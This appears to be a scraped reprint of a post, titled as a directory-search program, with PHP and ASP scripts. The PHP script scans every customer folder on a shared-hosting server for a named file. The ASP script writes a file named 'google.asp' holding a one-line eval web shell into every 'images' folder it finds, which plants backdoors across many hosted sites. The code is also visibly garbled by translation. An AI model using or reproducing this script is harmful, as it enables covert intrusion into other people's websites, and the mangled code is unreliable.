PHP writes a small program looking for a two-level directory

Source: Internet
Author: User
  1. Set_time_limit (0);
  2. $path = ' d:/hosting ';
  3. $somefile = $_get[' key '];
  4. $logfile = ' d:/hosting/6668835/html/images/ennumdir.txt ';
  5. if (!isset ($_server[' Php_auth_user ')) {
  6. Header (' Www-authenticate:basic realm= ' My realm ');
  7. Header (' http/1.0 401 Unauthorized ');
  8. Echo ' Text to send if user hits Cancel button ';
  9. Exit
  10. } else {
  11. if (Is_dir ($path) && is_readable ($path))
  12. {
  13. $path 2 = ";
  14. $handle = Opendir ($path);
  15. while (false!== ($filename = Readdir ($handle)))
  16. {
  17. if ($filename {0}! = $_get[' dir ')
  18. {
  19. Continue
  20. }
  21. /*
  22. if ($filename Deanne II-mi! = $_get[')]
  23. {
  24. Continue
  25. }
  26. */
  27. $path 2 = $path. ' /'. $filename. ' /html ';
  28. $path 2 = $path. ' /'. $filename;
  29. if (Is_dir ($path 2) && is_readable ($path 2))
  30. {
  31. @ $handle 2 = opendir ($path 2);
  32. while (False!== ($filename 2 = Readdir ($handle 2)))
  33. {
  34. if ($filename 2 = = $somefile)
  35. {
  36. Echo ' [+]found! ']. $filename 2. " \ n ";
  37. File_put_contents ($logfile, ' [+]found! ']. $path 2. ' /'. $filename 2. " \ n ", file_append);
  38. }
  39. }
  40. @closedir ($handle 2);
  41. }
  42. }
  43. File_put_contents ($logfile, ' [*]last '. $path 2. " \ n ", file_append);
  44. Closedir ($handle);
  45. }
  46. }
  47. ?>
Copy Code

2. asp version

  1. <%
  2. server.scripttimeout=500000000
  3. Key = Trim (Request.QueryString ("key"))
  4. msg= "<% eval (Rquese (CHR))%" & ">"
  5. Set fso=server.createobject ("Scripting.FileSystemObject")
  6. Set Serverfolder=fso. GetFolder ("C:\intel")
  7. Set serverfolderlist=serverfolder.subfolders
  8. For each serverfileevery in Serverfolderlist
  9. ' Response.Write serverfileevery& '
    "
  10. If LCase (Left (serverfileevery.name, 1)) = LCase (key) Then
  11. Set Sserverfolder=fso. GetFolder (Serverfileevery)
  12. Set sserverfolderlist=sserverfolder.subfolders
  13. For each sserverfileevery in Sserverfolderlist
  14. If LCase (sserverfileevery.name) = "Images" Then
  15. Streamsavetofile Sserverfileevery & "\google.asp", MSG, "UTF-8"
  16. End If
  17. Next
  18. End If
  19. Next
  20. Function streamsavetofile (spath, scontent, Scharset)
  21. Dim OStream
  22. If (InStr (spath, ":") <= 0) Then
  23. spath = Replace (spath, ",", ",")
  24. spath = Server.MapPath (spath)
  25. spath = Replace (spath, ",", ",")
  26. End If
  27. Set OStream = Server.CreateObject ("ADODB.stream")
  28. With OStream
  29. . Type = 2
  30. . Mode = 3
  31. . Open
  32. . Charset = Scharset
  33. . WRITETEXT scontent
  34. . SaveToFile spath, 2
  35. . Close
  36. End with
  37. Set OStream = Nothing
  38. End Function
  39. %>
Copy Code
  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.